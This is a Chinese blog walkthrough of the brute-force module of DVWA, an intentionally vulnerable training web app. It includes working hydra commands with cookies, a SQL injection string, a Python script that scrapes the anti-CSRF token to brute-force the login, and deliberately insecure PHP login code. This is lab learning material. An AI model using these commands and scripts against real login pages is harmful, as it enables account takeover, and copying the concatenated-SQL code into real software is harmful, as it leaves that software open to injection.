DVWA 总结系列之 brute_force 篇

前前言

本人的个人博客网址:www.QmSharing.space,所有的文章都可以在里面找到,欢迎各位大佬前来参观并留下宝贵的建议,大家一起学习一起成长 :-)

前言

最近想要再系统地过一遍一些基础的渗透漏洞知识, 看到网上不少人推荐 DVWA 这个平台, 就试了一下, 发现的确很适合初学者, 最主要有源码比较这个功能让人能很好地理解利用这个漏洞的原理和过程. 我知道如果 Google 能搜出很多关于 DVWA 的攻略和总结, 本系列文章也是我学习时的总结, 带有很强的主观意识, 也不保证写的全是正确的, 欢迎大家在留言区留言, 大家一起讨论 :)

本题任务:

通过暴力破解出管理员 admin 的密码. 还有四个隐藏用户等待你的挖掘 ;)

爆破时遇到问题:

Hydra 爆破时返回的结果不正确, 而且返回的就是字典头几个数值:

我一开始直接用下面的命令进行爆破:

hydra 172.28.128.4 -l admin -P Downloads/password.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

爆破结果如下:

爆破结果图

这结果肯定不对... 直接把前15个爆破密码返回了. 造成这个情况的可能性有两个, 都可以通过 curl 指令来检查. 第一个可能性是你的网络出问题了, 有时 hydra 在连不上服务器时会错误的认为返回的结果是正确的, 然而我当时返回的是 proxy error. 第二个可能性是你漏了一些必要参数(Cookies), 这个的确容易忽略, 这里我用 wireshark 进行抓包查看问题.

# 附上怎么用 curl 指令来检测, 注意 get 参数的连接符 "&", 要 escape 它不然会出问题的
curl -b "security=low;PHPSESSID=f2uni4k3m1ftf4o7vunc1qud30" -o result.html http://172.28.128.4/vulnerabilities/brute/index.php?username=admin\&password=admin\&Login=Login
wireshark 结果

可以看出它被重定向了, 查看详细信息会发现它被重定向回 "Location: ../../login.php\r\n", 也就是一开始的登录界面, (这个登录界面是你登录 dvwa 的界面, 而不是你进行爆破的登录界面), 通过 firefox 抓包, 可以看到我们每次提交 get 请求时会先提交 PHPSESSID 来帮助服务器确定你已经登录了, 否则就会被重定向.

Cookies

解决方法就是让 hydra 在提交请求时带上 Cookies, 因此正确的写法是:

hydra 172.28.128.4 -l admin -P Downloads/password.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie:PHPSESSID=f2uni4k3m1ftf4o7vunc1qud30;security=low;"

嗯... 我当时也以为这样肯定就对了, 但得到了和第一次错误时一样的结果(这里就不上图了). 继续 wireshark 抓包, 发现

分析错误2

这... 怎么少了个 P, 其实吧, 因为 H=Cookie:PHPSESSID=... 这样写是错的, 正确的写法是 H=Cookie:[空格]PHPSESSID=... , 我不清楚是不是就我一个犯了这么低级的问题, 但我觉得这个问题挺隐蔽的, 不抓包分析你会觉得一头雾水, 希望能帮到还无法成功爆破的人. 最终的指令是:

hydra 172.28.128.4 -l admin -P Downloads/password.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie: PHPSESSID=f2uni4k3m1ftf4o7vunc1qud30;security=low;"

Low

的确毫无安全措施, 除了能被爆破还能被 SQL 注入(本题并不是讨论 SQL 注入, 所以这里略), 利用 ' or 1=1 limit 1,1 # 就能把几个用户全部爆破出来. 然后通过显示的图片可以大概猜到用户名是什么, 继续用字典进行爆破.
服务器端源码:

    // 直接获取并不过滤
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // 不过滤 + 拼接 SQL 语句 = gg
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // 密码正确, 显示用户信息
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

Medium

这个级别直接使用上一个级别用的 hydra 语句(需要修改 Cookie, 不然还是在 Low 级别驰骋)能无压力地进行爆破, 时间上稍微会长一点, 但结果已经是能被爆破出来. 服务端的改动如下:

  // 过滤了 $user 变量
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // 这个过滤意义不大, 毕竟有 md5
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // 依然直接拼接 SQL, 不过这次利用不了 SQL 注入, 不过你要解决的问题好像并不是 SQL 注入吧
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // 密码正确, 显示用户信息
    }
    else {
        // 密码错误, 这里增加了一个睡眠时间, 没什么卵用
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    } 

这个相比于 Low 等级多加了 mysqli_real_escape_string 函数来防止 SQL 注入, 但并没有从本质上解决爆破问题(差点没看到新添加的 sleep(2), 但你觉得黑客会少那几分钟(难道黑客不会开多线程)吗?)

High

这个级别看起来和之前的级别长得差不多, 但是看一下页面源码:

<form action="#" method="GET">
  Username:<br>
  <input type="text" name="username"><br>
  Password:<br>
  <input type="password" autocomplete="off" name="password"><br>
  <br>
  <input type="submit" value="Login" name="Login">
    <!-- 这里多了一个 token -->
  <input type="hidden" name="user_token" value="65ff90b6c8081628666346efa948bbf1">
</form>

它是在表单添加了一个隐藏的 token, 这个 token 在表单被提交的时候一同提交, 网站先验证这个 token 是否与其在服务端保存的相同, 不相同则拒绝服务. 这个 token 主要用来防止 CSRF 漏洞, 也顺带把 hydra 给防了.

但这也并不代表它已经无懈可击了, 我们可以通过 python(或其他手段) 来先获得一次界面的 token 后, 再通过下一次的尝试发送出去, 这样也是能实现爆破的, 其他的比如登录失败时随机睡眠个几秒的也是不能解决问题的.
附上当时写的 python 脚本:

#!/usr/bin/env python
from bs4 import BeautifulSoup
import urllib2
import sys
header = {'Host': '172.28.128.4',
                  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
          'Accept-Encoding': 'gzip, deflate, sdch',
          'Cookie': 'security=high; PHPSESSID=3fnsi3uvhb068gmb3a1d1vnpb5'}
requrl = "http://172.28.128.4/vulnerabilities/brute/"

def get_token_and_length(requrl, header, is_first=False):
    req = urllib2.Request(url=requrl, headers=header)
    response = urllib2.urlopen(req)
    the_page = response.read()
    length = len(the_page)
    soup = BeautifulSoup(the_page, "html.parser")
    # get the user_token
    user_token = soup.select('input[type="hidden"]')[0].get('value')
    return (user_token.decode('unicode-escape').encode('utf-8'), length)

wrong_len = 0 # 第一次的请求输入一个必定错误的密码, 来获得密码错误时界面的大小, 然后用它来进行匹配, 密码正确的界面应该与它大小不同, 不过这个方法仅适用本例子, 其他的要具体情况具体分析
user_token = get_token_and_length(requrl, header)[0]
i = 0
with open("/home/j4nobdy/Downloads/password.txt") as fd:
    for line in fd.readlines():
        requrl = "http://172.28.128.4/vulnerabilities/brute/" + \
            "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
        print i, 'admin', line.strip(),
        res = get_token_and_length(requrl, header)
        user_token = res[0]
        length = res[1]
        if i == 0:
            wrong_len = length
        elif wrong_len != length:
            sys.exit('Congrat! Found password!')
        i = i + 1

print 'No valid password found!'

Impossible

这个级别我都直接上源码进行分析:

<?php
// 在处理前先提前验证了是否提交了所有参数, 一个没有提交都不进行处理, 虽然对安全方面没有多少提高, 但是一种正确的逻辑, 并且也改用了 POST 请求来传递敏感数据
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // 1. 增加 token 以防止 CSRF
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    // 过滤时多用了一个 stripslashes 去斜杠函数
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // 2.使用了 PDO 预编译语句来与数据库通信, 而不是简单的拼接查询语句, 完全防止了 SQL 注入.
    $data = $db->prepare( 'SELECT failed_login, last_login, now() as cur_time FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // 以下本次改动的核心
    // 增加了登录错误次数限制(本质上解决问题的方法), 这里作者还提醒了如果乱用反馈信息的话, 会让攻击者可以对账户进行枚举. 不过其实这样解决问题还是有个不太安全的地方, 如果有人恶意对一个已知号码进行多次错误, 就会导致被攻击用户被锁定, 也间接造成了拒绝服务攻击, 所以可以考虑在登录前再进行一次验证, 不过其实已经够用了.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = strtotime( $row[ 'cur_time' ] );
        
        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // 显示之前错误登录的次数
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        // 随机睡眠 2-4 秒
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

bugs:

  1. 它这个判断被锁定时间的方法好像有问题, 不清楚是不是和系统或时区有关, 但是并不能成功锁定用户, 所以我又写了个基于 post 请求的 payload 成功爆破出密码了.

    ......
    // Calculate when the user would be allowed to login again
    $last_login = strtotime( $row[ 'last_login' ] );
    $timeout    = $last_login + ($lockout_time * 60);
    $timenow    = time();    // 注意这里, 用的是 php 的 time() 函数
    // Check to see if enough time has passed, if it hasn't locked the account
    if( $timenow < $timeout ) {
     $account_locked = true;
        // print "The account is locked<br />";
    }
    ......
    
    // Set the last login time, 这里设置时是用 mysql 的 now() 函数
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    

    对比上面两段代码, 可以知道它在设置最后登录时间(last_login)时使用的是 mysql 内置的 now() 来获得时间, 然而在检验的时候却是使用了 php 的 time() 函数来获得时间, 理论上来说, 拿到的时间应该是一样的, 然而在我的测试环境中 time() 拿到的时间总是大于 now(), 所以导致账户每次一被锁定就立刻会被解锁, 从而造成了漏洞存在, 我觉得应该把第一段代码改成下面这样, 统一一下时间的获取方式, 也避免出现这种漏洞.

    // 从数据库拿数据时多获取一个现在时间 cur_time
    $data = $db->prepare( 'SELECT failed_login, last_login, now() as cur_time FROM users WHERE user = (:user) LIMIT 1;' );
    ......
    // Calculate when the user would be allowed to login again
    $last_login = strtotime( $row[ 'last_login' ] );
    $timeout    = $last_login + ($lockout_time * 60);
    $timenow    = $row[ 'cur_time' ];    // 用这个 cur_time 来作为判断条件
    
  2. 我发现用户名输入中文的话, 即使在 Impossible 级别, 也会出现界面崩溃的情况, 估计是 PDO 的编码问题.

彩蛋

本题其实还有4个隐藏用户可以被爆破出来, 欢迎大家来 我的博客 进行查看和交流 :-)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容